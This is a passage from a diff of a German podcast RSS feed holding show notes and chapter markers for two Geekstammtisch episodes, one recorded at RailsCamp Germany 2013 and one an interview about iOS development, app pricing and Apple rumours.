+ * Es gibt eine CSS Datei, in der alle Patches drin sind, und die werden dann später von Nico wieder in das Sass reingezogen
+ * Er macht das als Freelancer
+ * Ihm hat es super viel gebracht, da zu sein: Er hat Mitstreiter gefunden und Feedback gekriegt
+ * Das Gem liegt auf [GitHub](http://github.com/hagenburger/livingstyleguide)
+ * Er fand es anders richtig geil: Diesmal hat er viel technisches mitgenommen]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Der Geekstammtisch und die Nerdkunde haben auf dem RailsCamp
+Germany 2013 zusammen ein paar Impressionen der Besucher gesammelt. Wir
+sprachen mit <a href="https://twitter.com/skddc">@skddc</a>, <a href="https://twitter.com/jkwebs">@jkwebs</a>, <a href="https://twitter.com/argorak">@argorak</a>, <a href="https://twitter.com/badboy_">@badboy_</a>, <a href="https://twitter.com/Uepsi">@Uepsi</a>, <a href="https://twitter.com/slogmen">@slogmen</a> und
+<a href="https://twitter.com/Hagenburger">@Hagenburger</a>. Bis zum nächsten Mal!</p>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li><a href="http://www.geekstammtisch.de">Geekstammtisch</a> und <a href="http://www.nerdkun.de">Nerdkunde</a> zusammen FTW! :)</li>
+<li>Wir senden &quot;live&quot; vom <a href="http://2013.railscamp.de/">RailsCamp 2013</a>, daher entschuldigt die ungewohnt &quot;schlechte&quot; Audioqualität</li>
+<li>Mit dabei: <a href="https://twitter.com/moonbeamlabs">Lucas</a>, <a href="https://twitter.com/tisba">Basti</a>, <a href="https://twitter.com/railsbros_dirk">Dirk</a> und <a href="https://twitter.com/klaustopher">Klaus</a> als hauptamtlicher Funkmikro-Träger!</li>
+</ul>
+
+<h3>Sebastian Kippe (00:01:02)</h3>
+
+<ul>
+<li>Twitter: <a href="https://twitter.com/skddc">@skddc</a></li>
+<li>(Mit-)Organisator des RailsCamps</li>
+<li>es gab so circa 30 Mit-Organisatoren per <a href="https://github.com/railscamp/railscamp-germany-2013/issues">GitHub Issues</a></li>
+<li>wir fanden, die Orga lief super</li>
+<li>Sebastian kommt gerade von der Crypto-Session mit Key Signing &amp; Co.</li>
+<li>Es wurden 125 Tickets verkauft, es waren circa 10 nicht da und es sind ein paar zusätzlich gekommen</li>
+<li>Sebastian&#39;s Highlight: Punk Rock mit <a href="https://twitter.com/TheDeadSerious">@TheDeadSerious</a> auflegen!</li>
+<li>Sport und Nerds: Es gab Opfer! 2 von 4 Leute beim BMXen waren im Krankenhaus</li>
+</ul>
+
+<h3>Jakob Hilden (00:07:09)</h3>
+
+<ul>
+<li>Twitter: <a href="https://twitter.com/jkwebs">@jkwebs</a></li>
+<li>ebenfalls Organisator und vor allem Koordinator \o/</li>
+<li>findet es super, wie alles so zusammengekommen ist</li>
+<li>bei der vorletzten <a href="http://www.colognerb.de">Cologne.rb</a> hat Jakob tolle &quot;Hüte&quot; gebastelt; hat funktioniert :)</li>
+<li>Die Idee einen Pool aufzustellen, kam leider etwas zu spät für&#39;s RailsCamp</li>
+<li>Jakob&#39;s Highlight: Nico <a href="https://twitter.com/Hagenburger">@Hagenburger</a>&#39;s Session zu <a href="https://speakerdeck.com/hagenburger/style-guide-driven-development">Living Styleguides</a></li>
+<li>Es gab eine tolle Feedback-Runde zu dem Living Styleguide Ansatz</li>
+</ul>
+
+<h3>Unsere Impressionen vom Camp (00:12:10)</h3>
+
+<ul>
+<li>Dirk fragt sich, ob es eine grundsätzliche thematische Richtung auf dem Camp und wir haben nichts ausgemacht</li>
+<li>uns war allen warm :)</li>
+<li>Wir haben alle nicht so viele Sessions mitgemacht, sondern haben mehr an Diskussionen rundherum teilgenommen</li>
+<li>Lucas hat den Eindruck, dass viele auf der Suche nach DEM Frontend JS Framework sind</li>
+<li>Wir diskutieren etwas über <a href="http://emberjs.com">Ember.js</a>, <a href="http://backbonejs.org">Backbone.js</a> und <a href="http://angularjs.org">AngularJS</a></li>
+</ul>
+
+<h3>Mike (00:16:40)</h3>
+
+<ul>
+<li>betreut die ganzen Nerds in den AbenteuerHallenKALK: <a href="http://ahk.abenteuerhallenkalk.de/">http://ahk.abenteuerhallenkalk.de/</a></li>
+<li>die gute Seele des Hauses</li>
+<li>Mike findet die RailsCamper sind tiefen-entspannt und ordentlich (hört, hört!)</li>
+<li>Nerds sind pflegeleichter als Jugendliche \o/</li>
+<li>Mike hat Chipstüten vermisst</li>
+<li>…und er fand unseren Musikgeschmack gut</li>
+<li>in den Hallen finden alle möglichen Events statt<br>
+
+<ul>
+<li>z.B. die <a href="http://www.evoke.eu/2013/">Evoke 2013</a> vom 16.-18.08.2013</li>
+</ul></li>
+<li>Evoke wird das selbe Wi-Fi Setup bekommen, wie das RailsCamp</li>
+</ul>
+
+<h3>Florian Gilcher (00:21:38)</h3>
+
+<ul>
+<li>Twitter: <a href="https://twitter.com/argorak">@argorak</a></li>
+<li>Hat <a href="http://ardrone2.parrot.com">AR.Dronen</a> mitgebracht, weil er eine geschenkt bekommen hat ^^</li>
+<li>Es sollte gescripted werden und nicht mit der iPhone App geflogen werden
+
+<ul>
+<li>Ergebnis: Eine wird von einem N64-Controller gesteuert, die andere von einer <a href="https://github.com/skade/shoes-ardrone">Shoes4-App</a></li>
+</ul></li>
+<li>Klaus hat seine neue DrohDrohnene erstmal geschrottet</li>
+<li>Pro-Tipp: Drohne und Client müssen im gleichen WLAN sein</li>
+<li>Implementierungen in Ruby <a href="https://github.com/hybridgroup/artoo-ardrone">artoo-ardrone</a> und Node.js <a href="https://github.com/felixge/node-ar-drone">node-ar-drone</a></li>
+<li>Florian hat einen Arbeitskreis für Ruby-Events gemacht</li>
+<li>Wie kann man sich besser vernetzen?
+
+<ul>
+<li>Deutschlandweite Mailingsliste</li>
+<li>Deutschlandweites Blog</li>
+<li>Ruby Berlin e.V. ist trotz des Namens <em>nicht</em> auf Berlin begrenzt</li>
+</ul></li>
+<li>Das Railscamp wurde vom Ruby e.V. veranstaltet</li>
+<li>Zentrale Frage sollen einfach zu klären sein (Bsp.: Internet, WLAN, etc)</li>
+<li>Die Telekom lässt das <a href="http://2013.eurucamp.org">eurucamp</a> nicht an ihr Glas m(</li>
+<li>Findet statt vom 16.-18. August und es gibt noch Tickets</li>
+<li>Die einzige JRuby Konferenz dieses Jahr findet kurz vorher statt: <a href="http://2013.jrubyconf.eu">JRuby Conf EU</a></li>
+<li>Es gibt keine Kombitickets für die Konferenz aber eine Kombiparty</li>
+<li>Am 24./25. August findet die <a href="https://ruby.froscon.org">RedFrog Conf</a> auf der <a href="http://www.froscon.org">FrOSCon</a> statt </li>
+<li>&quot;<a href="http://socoded.com">So Coded</a>&quot; findet am 19./20. September in Hamburg statt</li>
+</ul>
+
+<h3>Jan-Erik Rediger (00:32:20)</h3>
+
+<ul>
+<li>Twitter: <a href="https://twitter.com/badboy_">@badboy_</a></li>
+<li>Kommt von <a href="https://www.rrbone.net">rrbone</a>, die den Uplink via Richtfunk zur FH Köln realisiert haben</li>
+<li>rrbone ist ein kleiner ISP aus Dortmund</li>
+<li>Richtfunkstrecke ging über 1,5 km</li>
+<li>Der Ausblick war großartig ^^</li>
+<li>Es gab für alle Teilnehmer öffentliche IPv4 und IPv6 Adressen</li>
+<li>Das Netz kommt in Düsseldorf raus!!!</li>
+<li>Es gab ein <a href="http://tmp.rediger.net/railscamp-traceroute.txt">Easteregg</a></li>
+<li>Bis zu 100MBit sind über die Richtfunkstrecke gemessen worden \o/</li>
+<li>Wir können jetzt überall Campen \o/</li>
+</ul>
+
+<h3>Wir (00:37:28)</h3>
+
+<ul>
+<li>Sport von den Panelisten: Drohne fliegen, Kickern, Schwitzen</li>
+<li>Eine weitere Nerdkunde wurde in der Sauna mit Dennis Reimann aufgenommen: <a href="http://nerdkunde.de/nk0007.html">http://nerdkunde.de/nk0007.html</a></li>
+<li>Und ein Geekstammtisch mit Christoph <a href="https://twitter.com/TheDeadSerious">@TheDeadSerious</a> Olszowka</li>
+<li>Hardware Hacker: Buzzer und Funky Monkey Cards</li>
+</ul>
+
+<h3>Maxim (00:38:35)</h3>
+
+<ul>
+<li>Twitter: <a href="https://twitter.com/Uepsi">@Uepsi</a></li>
+<li>Projekt hat auf der Interactive Cologne angefangen</li>
+<li>Das Projekt: Mit Karte einchecken und einfach zählen, wie oft jemand am Kühlschrank ist usw.</li>
+<li><a href="http://www.raspberrypi.org">Raspberry Pis</a> als Check-In Stations</li>
+<li>Aktuell sammelt jede Station für sich, denn das Netzwerk hat nicht mitgespielt</li>
+<li>App ist mit Rails gebaut, wer Lust hat mitzumachen: Bei Maxim melden!</li>
+<li>Buzzer hängen sich als Tastatur an den Rechner und können RGB Farbverläufe darstellen</li>
+<li>Läuft mit <a href="http://www.anykey0x.de">AnyKey</a> – die Hacker sind aber noch schwer beschäftigt</li>
+<li>Klaus baut seine zukünftige Eisenbahnsteuerung vielleicht mit AnyKey</li>
+<li>Nerdifiziere alles mit Einchecken</li>
+<li>Alles anonym, Entwickler wehren sich gegen PRISM Vorwürfe</li>
+<li>Github Repo: <a href="https://github.com/StuffCard/local-service">StuffCard local-service</a></li>
+</ul>
+
+<h3>Wir (00:45:43)</h3>
+
+<ul>
+<li>Das Fleisch war super (<a href="https://twitter.com/killerg">@killerg</a> hat&#39;s gegrillt!)</li>
+<li>Fleisch + Zwiebeln + Beck&#39;s</li>
+</ul>
+
+<h3>Thomas Schrader (00:46:20)</h3>
+
+<ul>
+<li>Twitter: <a href="https://twitter.com/slogmen">@slogmen</a></li>
+<li>In einem riesengroßen Topf Fleisch + riesigen Mengen von Zwiebeln + Bier + Senf</li>
+<li>24 Stunden eingelegt</li>
+<li>Butterzart!</li>
+<li>Sein erster Ruby Event</li>
+<li>Erst seit ein paar Monaten in Köln</li>
+<li>Super Atmosphäre, Leute und Location</li>
+<li>Er fand Sebastian&#39;s <a href="http://babushka.me">Babuschka</a> Vortrag und den Living Styleguide super</li>
+<li>Babuschka automatisiert Server Setups</li>
+<li>Abhängigkeiten stehen im Vordergrund</li>
+<li>Keine zentrale Komponente wie bei Chef oder Puppet</li>
+<li>Server Setups automatisieren ist immer noch nicht gelöst</li>
+<li>Kann auch mehrere Server provisionieren</li>
+<li>Er wird noch auf weitere Events gehen</li>
+</ul>
+
+<h3>Wir (00:51:42)</h3>
+
+<ul>
+<li>Podcast Workshop</li>
+<li>Einige waren interessiert am Podcasten</li>
+<li>Es waren jede Menge <a href="http://railsgirls.com">RailsGirls</a> da</li>
+<li>Die Rails Girls treffen sich wöchentlich in kleinen Gruppen mit ihrem Coach</li>
+<li>Am Samstag haben sich die <a href="https://github.com/rubymonsters">Rubymonsters</a> getroffen, um ihre Tests wieder grün zu machen
+
+<ul>
+<li>Sie arbeiten an der Open Source Rails App <a href="https://github.com/rubymonsters/speakerinnen_liste">Speakerinnen Liste</a></li>
+<li>Das soll Speakerinnen und Konferenz Organizer zusammenbringen</li>
+<li>Haben Git Blame gelernt </li>
+<li>Aber die sitzen alle im Git Workshop</li>
+</ul></li>
+</ul>
+
+<h3>Nico Hagenburger (00:55:40)</h3>
+
+<ul>
+<li>Twitter: <a href="https://twitter.com/Hagenburger">@Hagenburger</a></li>
+<li>Er hat einen Talk über Styleguide Driven Development gehalten: Separation von Frontend und Backend</li>
+<li>Er macht das auch so</li>
+<li>GitHub Repo – er baut ein Gem</li>
+<li>Er schreibt in Markdown seine Code Beispiele und schreibt dann seinen <a href="http://sass-lang.com">Sass</a> Code, und produziert statisches HTML + CSS</li>
+<li>PHP Leute können wohl auch Sass. Aber er gibt am Liebsten direkt CSS raus</li>
+<li><a href="http://alexandre-salome.fr/blog/Sass-Compass-Assetic-In-Ten-Minutes#sample-with-symfony2-sass-compass">Sass und Compass in Symfony</a></li>
+<li>Er muss keine Datenbank aufsetzen, die Entwickler müssen kein Sass mehr kompilieren</li>
+<li>Es gibt eine CSS Datei, in der alle Patches drin sind, und die werden dann später von Nico wieder in das Sass reingezogen</li>
+<li>Er macht das als Freelancer</li>
+<li>Ihm hat es super viel gebracht, da zu sein: Er hat Mitstreiter gefunden und Feedback gekriegt</li>
+<li>Das Gem liegt auf <a href="http://github.com/hagenburger/livingstyleguide">GitHub</a></li>
+<li>Er fand es anders richtig geil: Diesmal hat er viel technisches mitgenommen</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST021" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:01:02" title="Sebastian Kippe" />
+
+ <psc:chapter start="00:07:09" title="Jakob Hilden" />
+
+ <psc:chapter start="00:12:10" title="Unsere Impressionen vom Camp" />
+
+ <psc:chapter start="00:16:40" title="Mike" />
+
+ <psc:chapter start="00:21:38" title="Florian Gilcher" />
+
+ <psc:chapter start="00:32:20" title="Jan-Erik Rediger" />
+
+ <psc:chapter start="00:37:28" title="Wir" />
+
+ <psc:chapter start="00:38:35" title="Maxim" />
+
+ <psc:chapter start="00:45:43" title="Wir" />
+
+ <psc:chapter start="00:46:20" title="Thomas Schrader" />
+
+ <psc:chapter start="00:51:42" title="Wir" />
+
+ <psc:chapter start="00:55:40" title="Nico Hagenburger" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST022 - Der Finder lügt!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Manuel @StuFFmc Carrasco Molina über Podcasting, iOS/OS X Entwicklung und Apple Rumors.</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst022.mp3" length="71670071" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST022</guid>
+ <pubDate>Wed, 21 Aug 2013 10:07:09 +0200</pubDate>
+ <itunes:duration>01:39:10</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis**: Wir sprachen mit Manuel @StuFFmc Carrasco Molina über
+seine Zeit als Podcaster (http://pomcast.com), iOS und OS X Entwicklung.
+Da wir schon mal einen Apple Fanboy da hatten, haben wir die Gelegenheit
+genutzt um etwas in die Glaskugel zu schauen.
+
+### Unser Gast (00:00:00)
+
+ * Manuel "StuFF mc" Carrasco Molina
+ * trinkt Blue Bastard: http://www.amazon.de/Blue-Bastard-Energy-Drink-Dose/dp/B008KGDT2C
+ * iOS/Mac/Cocoa Entwickler
+ * Podcaster - Pomcast; Interview mit Woz! http://pomcast.com/2007/06/05/woz/
+ * war in einem früheren Leben mal .NET-Entwickler
+ * seit 2008 freiberuflich unterwegs
+ * <3 den Mac mehr als iOS
+ * Hat zwei Apps im Mac App Store
+ * Disk Alarm http://diskalarm.com/ und Comments.app http://commentsapp.co/
+ * Organisiert die objcgn, eine Objective-C Konferenz in Köln seit 2012
+
+### Podcasting (00:06:00)
+
+ * Pomcast: http://pomcast.com
+ * Stuff hat mit Podcasting angefangen am 31.5.2005...
+ * auf Französisch, später dann auch auf Englisch und Deutsch und ein paar auf Spanisch
+ * Thema: Apple, ~5000 Hörer
+ * Hat viele interessante Personen durch das Podcasting getroffen
+ * Idle seit ~2010
+ * Podcasts mit anderen via Skype aufnehmen - viel Arbeit!
+ * double-ender: http://en.wikipedia.org/wiki/Phone-sync
+
+### iOS Entwicklung, App Store & Co. (00:20:30)
+
+ * von Anfang an bei iOS dabei
+ * seit 2008 macht Stuff iOS freiberuflich
+ * hat erst iOS und dann OS X gemacht
+ * DevHouseFriday: http://devhousefriday.org
+ * Wir fragen Stuff wie es mit .NET Background war Cocoa zu lernen
+ * Stuff war 2007 schon auf der WWDC und hat Cocoa-Luft geschnuppert
+ * iOS 7 soll viel einfacher sein für den Einstieg
+ * seit iOS 5 gibt es ARC: http://en.wikipedia.org/wiki/Automatic_Reference_Counting
+ * iOS 7 und 6 als Target zu haben ist SEHR aufwendig, da sich viel geändert hat
+ * Ballmer laughs at iPhone, "$500 for a phone? *lol*": http://www.youtube.com/watch?v=eywi0h_Y5_U
+
+### Der (App) Markt (00:34:00)
+
+ * macht Apple die Preise kaputt? Was ist mit Updates? Fragen über Fragen...
+ * der Preis vom aktuellen Logic ist unter dem früheren Updatepreis
+ * Aperture ist alt (2010): http://www.apple.com/aperture/
+ * Wir sprechen noch mal kurz über Diskalarm und Comments.app
+ * Diskalarm und die Problematik mit der Mobile Time Machine; der Finder lügt!1!!
+ * df: http://en.wikipedia.org/wiki/Df_(Unix)
+ * du: http://en.wikipedia.org/wiki/Du_(Unix)
+ * App Store Updates?
+ * Neue Version = Neue App rausbringen?
+ * Immer wieder auf Neukäufe hoffen?
+ * In-App-Purchase?
+ * Stuff deutet eine mögliche Lösung mit iOS 7 an, leider NDA :-/
+ * App Pricing
+ * Ist allgemein schwer, aber die Preise sind gesunken
+ * Wie umgehen mit Demos? XY lite? Features via IAP?
+ * Basti findet Demo-Versionen blöd
+ * Where To? (@wheretoapp) Von Ortwin Gentz: http://www.futuretap.com/apps/whereto-en/
+ * Instapaper in Gefahr durch Safari Reading List: http://www.apple.com/osx/apps/#gallery-safari-readinglist
+ * Ist NICHT kostenlos im App Store, Basti!
+ * Neues schönes Webinterface zu Instapaper: http://beta.instapaper.com/
+ * Es ist nicht bekannt, ob es einen API für die Reading List gibt *hust*
+ * Wir vermuten, dass Apples Podcast-App den kostenpflichtigen Podfetchern nicht signifikant Markt weggenommen hat
+ * Podcast-App sieht unter iOS 7 immer noch so aus wie iOS 6
+
+### Projekte unter NDA (00:54:50)
+
+ * Basti und Dirk mögen keine NDAs ;-)
+ * Stuff hat zwar schon NDAs abgelehnt aber in der Regel steht er unter NDA
+ * Er darf noch nicht einmal den Auftraggeber nennen
+ * Manche Auftragsarbeiten sind mittlerweile auch nicht mehr im App-Store
+ * Manchmal macht Stuff alles von Server-Backend bis Frontend
+ * Arbeiten und NDA macht die Gestaltung des Lebenslaufs schwierig
+ * Für einige ist Stuff der Rails-Guy
+ * Es gibt relativ viele iOS-Entwickler, die auch die Serverbackends selber schreiben
+ * Stuff sollte für einen neuen eBook-Reader entwickeln, Projekt wurde aber eingestellt
+ * Er hat auch iOS-Kurse gegeben
+ * Auf Nachfrage gibt er diese Kurse auch immer noch
+ * Schwierigkeit ist es in 5 Tage die Kernaspekte von iOS-Entwicklung zu vermitteln
+ * KISS (https://en.wikipedia.org/wiki/KISS_principle): Präsentations-App mit Animationen, Animationen sind Keynote-Präsentationen als Quicktime exportiert
+ * Das Problem bei C# und .NET ist, dass leider ein Windows mitkommt
+
+### Gerüchteküche (01:06:40)
+
+ * Wir sind alle zufrieden mit dem MacBook Pro Retina
+ * Wir hoffen auf ein externes Retina/4K Display von Apple
+ * Stuff arbeitet nur mit dem Mac Book (inkl. Laptop-Stand und externer Maus/Tastatur)
+ * Basti und Dirk brauchen mehr Platz
+ * Grund für die Vermutung: Der Mac Pro sieht einfach nicht aus neben dem "alten" Cinema-Display
+ * 27" reicht von der Fläche aber wir brauchen mehr Pixel!
+ * Dirk vermutet den Preis bei 3500 Dollar - Basti hofft, dass er damit falsch liegt
+ * Für Stuff wäre viel wichtiger, keine Kabel mehr zu verwenden: Weder Strom noch Display
+ * Display könnte mit Mavericks via AirPlay gelöst werden
+ * Induktion könnte für Strom eine Lösung sein, aber Basti weist darauf hin, dass 80 Watt via Induktion uncool sind
+ * Basti glaubt nicht an niedrige Latenz bei AirPlay
+ * Weil: 4K passt noch nicht mal in Thunderbolt 1
+ * MacBook Pros brauchen Thunderbolt 2, sind vom Update überfällig, daher: 4K Display quasi sicher
+ * Finaler "Beweis": Die Vorstellung des 30"-Displays war so großartig, dass muss es noch mal geben: https://www.youtube.com/watch?v=j_QtUH_zG4U
+ * Stuff ist auf der Suche nach viel externem Plattenplatz
+ * Eine Ãœberlegung war ein Drobo (http://www.drobo.com/)
+ * Wir erinnern uns an das Promise Pegasus RAID (http://www.promise.com/storage/raid_series.aspx?m=192&region=en-global&rsn1=40&rsn3=47)
+ * Empfohlen in der Freak Show: http://freakshow.fm/mm105-featuritis-ante-portas#t=1:55:17.658
+ * Stuff braucht den Platz für alle WWDC Videos seit 2007
+ * Apple Event am 10.9.2013: http://allthingsd.com/20130810/circle-sept-10-on-your-calendar-for-apples-big-iphone-event/
+ * "Yep" von Jim Dalrymple. @jdalrymple — http://www.loopinsight.com
+ * John Gruber hat das auch "bestätigt"
+ * Was könnte passieren?
+ * iOS 7 Release
+ * neues iPhone 5
+ * wir kommen wohl nicht im eine "Low-Cost" iPhone herum (http://appleinsider.com/articles/13/08/19/iphone-5c-expected-to-replace-iphone-5-while-apples-iphone-4s-will-live-on)
+ * Apple entgeht in diesem Marksegment eine Menge Geld
+ * Wir gehen nicht von einem Feature-Phone aus, aber etwas das den mittleren Bereich abdeckt
+ * HTC und Robert Downey Jr. http://www.theverge.com/2013/8/14/4620510/htc-and-robert-downey-jr-debut-full-version-of-new-change-ad
+
+### Der Marimba-Sound (01:27:37)
+
+ * Die Entstehungsgeschichte des Marimba-Tons: http://jacklinstudios.com/docs/making-of-158-marimba.html
+
+### Objective-Cologne (01:30:10)
+
+ * objcgn: http://objcgn.com/
+ * 17. - 18. September in Köln
+ * Eine Cocoa/Objective-Konferenz in Köln mit internationalen Speakern
+ * Getränke/Catering ist im Preis enthalten
+ * Am ersten Abend gibt es das "Conference-Dinner"
+ * Das letzte Mal ist das gesamte Bier weggetrunken worden :-)
+ * Konferenzen veranstalten macht einen nicht reich
+ * Promo-Code: https://objcgn.paydro.net/event/objective-cologne-2013/geekstammtisch]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis</strong>: Wir sprachen mit Manuel <a href="https://twitter.com/StuFFmc">@StuFFmc</a> Carrasco Molina über
+seine Zeit als Podcaster (<a href="http://pomcast.com">http://pomcast.com</a>), iOS und OS X Entwicklung.
+Da wir schon mal einen Apple Fanboy da hatten, haben wir die Gelegenheit
+genutzt um etwas in die Glaskugel zu schauen.</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
+<ul>
+<li>Manuel &quot;StuFF mc&quot; Carrasco Molina</li>
+<li>trinkt Blue Bastard: <a href="http://www.amazon.de/Blue-Bastard-Energy-Drink-Dose/dp/B008KGDT2C">http://www.amazon.de/Blue-Bastard-Energy-Drink-Dose/dp/B008KGDT2C</a></li>
+<li>iOS/Mac/Cocoa Entwickler</li>
+<li>Podcaster - Pomcast; Interview mit Woz! <a href="http://pomcast.com/2007/06/05/woz/">http://pomcast.com/2007/06/05/woz/</a></li>
+<li>war in einem früheren Leben mal .NET-Entwickler</li>
+<li>seit 2008 freiberuflich unterwegs</li>
+<li>&lt;3 den Mac mehr als iOS</li>
+<li>Hat zwei Apps im Mac App Store
+
+<ul>
+<li>Disk Alarm <a href="http://diskalarm.com/">http://diskalarm.com/</a> und Comments.app <a href="http://commentsapp.co/">http://commentsapp.co/</a></li>
+</ul></li>
+<li>Organisiert die objcgn, eine Objective-C Konferenz in Köln seit 2012</li>
+</ul>
+
+<h3>Podcasting (00:06:00)</h3>
+
+<ul>
+<li>Pomcast: <a href="http://pomcast.com">http://pomcast.com</a></li>
+<li>Stuff hat mit Podcasting angefangen am 31.5.2005...
+
+<ul>
+<li>auf Französisch, später dann auch auf Englisch und Deutsch und ein paar auf Spanisch</li>
+</ul></li>
+<li>Thema: Apple, ~5000 Hörer</li>
+<li>Hat viele interessante Personen durch das Podcasting getroffen</li>
+<li>Idle seit ~2010</li>
+<li>Podcasts mit anderen via Skype aufnehmen - viel Arbeit!
+
+<ul>
+<li>double-ender: <a href="http://en.wikipedia.org/wiki/Phone-sync">http://en.wikipedia.org/wiki/Phone-sync</a></li>
+</ul></li>
+</ul>
+
+<h3>iOS Entwicklung, App Store &amp; Co. (00:20:30)</h3>
+
+<ul>
+<li>von Anfang an bei iOS dabei</li>
+<li>seit 2008 macht Stuff iOS freiberuflich</li>
+<li>hat erst iOS und dann OS X gemacht</li>
+<li>DevHouseFriday: <a href="http://devhousefriday.org">http://devhousefriday.org</a></li>
+<li>Wir fragen Stuff wie es mit .NET Background war Cocoa zu lernen</li>
+<li>Stuff war 2007 schon auf der WWDC und hat Cocoa-Luft geschnuppert</li>
+<li>iOS 7 soll viel einfacher sein für den Einstieg</li>
+<li>seit iOS 5 gibt es ARC: <a href="http://en.wikipedia.org/wiki/Automatic_Reference_Counting">http://en.wikipedia.org/wiki/Automatic_Reference_Counting</a></li>
+<li>iOS 7 und 6 als Target zu haben ist SEHR aufwendig, da sich viel geändert hat</li>
+<li>Ballmer laughs at iPhone, &quot;$500 for a phone? <em>lol</em>&quot;: <a href="http://www.youtube.com/watch?v=eywi0h_Y5_U">http://www.youtube.com/watch?v=eywi0h_Y5_U</a></li>
+</ul>
+
+<h3>Der (App) Markt (00:34:00)</h3>
+
+<ul>
+<li>macht Apple die Preise kaputt? Was ist mit Updates? Fragen über Fragen...</li>
+<li>der Preis vom aktuellen Logic ist unter dem früheren Updatepreis</li>
+<li>Aperture ist alt (2010): <a href="http://www.apple.com/aperture/">http://www.apple.com/aperture/</a></li>
+<li>Wir sprechen noch mal kurz über Diskalarm und Comments.app</li>
+<li>Diskalarm und die Problematik mit der Mobile Time Machine; der Finder lügt!1!!</li>
+<li>df: <a href="http://en.wikipedia.org/wiki/Df_(Unix)">http://en.wikipedia.org/wiki/Df_(Unix)</a></li>
+<li>du: <a href="http://en.wikipedia.org/wiki/Du_(Unix)">http://en.wikipedia.org/wiki/Du_(Unix)</a></li>
+<li>App Store Updates?
+
+<ul>
+<li>Neue Version = Neue App rausbringen?</li>
+<li>Immer wieder auf Neukäufe hoffen?</li>
+<li>In-App-Purchase?</li>
+<li>Stuff deutet eine mögliche Lösung mit iOS 7 an, leider NDA :-/</li>
+</ul></li>
+<li>App Pricing
+
+<ul>
+<li>Ist allgemein schwer, aber die Preise sind gesunken</li>
+<li>Wie umgehen mit Demos? XY lite? Features via IAP?</li>
+<li>Basti findet Demo-Versionen blöd</li>
+</ul></li>
+<li>Where To? (<a href="https://twitter.com/wheretoapp">@wheretoapp</a>) Von Ortwin Gentz: <a href="http://www.futuretap.com/apps/whereto-en/">http://www.futuretap.com/apps/whereto-en/</a></li>
+<li>Instapaper in Gefahr durch Safari Reading List: <a href="http://www.apple.com/osx/apps/#gallery-safari-readinglist">http://www.apple.com/osx/apps/#gallery-safari-readinglist</a>
+
+<ul>
+<li>Ist NICHT kostenlos im App Store, Basti!</li>
+<li>Neues schönes Webinterface zu Instapaper: <a href="http://beta.instapaper.com/">http://beta.instapaper.com/</a></li>
+<li>Es ist nicht bekannt, ob es einen API für die Reading List gibt <em>hust</em></li>
+</ul></li>
+<li>Wir vermuten, dass Apples Podcast-App den kostenpflichtigen Podfetchern nicht signifikant Markt weggenommen hat</li>
+<li>Podcast-App sieht unter iOS 7 immer noch so aus wie iOS 6</li>
+</ul>
+
+<h3>Projekte unter NDA (00:54:50)</h3>
+
+<ul>
+<li>Basti und Dirk mögen keine NDAs ;-)</li>
+<li>Stuff hat zwar schon NDAs abgelehnt aber in der Regel steht er unter NDA</li>
+<li>Er darf noch nicht einmal den Auftraggeber nennen</li>
+<li>Manche Auftragsarbeiten sind mittlerweile auch nicht mehr im App-Store</li>
+<li>Manchmal macht Stuff alles von Server-Backend bis Frontend</li>
+<li>Arbeiten und NDA macht die Gestaltung des Lebenslaufs schwierig</li>
+<li>Für einige ist Stuff der Rails-Guy</li>
+<li>Es gibt relativ viele iOS-Entwickler, die auch die Serverbackends selber schreiben</li>
+<li>Stuff sollte für einen neuen eBook-Reader entwickeln, Projekt wurde aber eingestellt</li>
+<li>Er hat auch iOS-Kurse gegeben</li>
+<li>Auf Nachfrage gibt er diese Kurse auch immer noch</li>
+<li>Schwierigkeit ist es in 5 Tage die Kernaspekte von iOS-Entwicklung zu vermitteln</li>
+<li>KISS (<a href="https://en.wikipedia.org/wiki/KISS_principle):">https://en.wikipedia.org/wiki/KISS_principle):</a> Präsentations-App mit Animationen, Animationen sind Keynote-Präsentationen als Quicktime exportiert</li>
+<li>Das Problem bei C# und .NET ist, dass leider ein Windows mitkommt</li>
+</ul>
+
+<h3>Gerüchteküche (01:06:40)</h3>
+
+<ul>
+<li>Wir sind alle zufrieden mit dem MacBook Pro Retina</li>
+<li>Wir hoffen auf ein externes Retina/4K Display von Apple</li>
+<li>Stuff arbeitet nur mit dem Mac Book (inkl. Laptop-Stand und externer Maus/Tastatur)</li>
+<li>Basti und Dirk brauchen mehr Platz</li>
+<li>Grund für die Vermutung: Der Mac Pro sieht einfach nicht aus neben dem &quot;alten&quot; Cinema-Display</li>
+<li>27&quot; reicht von der Fläche aber wir brauchen mehr Pixel!</li>
+<li>Dirk vermutet den Preis bei 3500 Dollar - Basti hofft, dass er damit falsch liegt</li>
+<li>Für Stuff wäre viel wichtiger, keine Kabel mehr zu verwenden: Weder Strom noch Display</li>
+<li>Display könnte mit Mavericks via AirPlay gelöst werden</li>
+<li>Induktion könnte für Strom eine Lösung sein, aber Basti weist darauf hin, dass 80 Watt via Induktion uncool sind</li>
+<li>Basti glaubt nicht an niedrige Latenz bei AirPlay</li>
+<li>Weil: 4K passt noch nicht mal in Thunderbolt 1</li>
+<li>MacBook Pros brauchen Thunderbolt 2, sind vom Update überfällig, daher: 4K Display quasi sicher</li>
+<li>Finaler &quot;Beweis&quot;: Die Vorstellung des 30&quot;-Displays war so großartig, dass muss es noch mal geben: <a href="https://www.youtube.com/watch?v=j_QtUH_zG4U">https://www.youtube.com/watch?v=j_QtUH_zG4U</a></li>
+<li>Stuff ist auf der Suche nach viel externem Plattenplatz
+
+<ul>
+<li>Eine Ãœberlegung war ein Drobo (<a href="http://www.drobo.com/">http://www.drobo.com/</a>)</li>
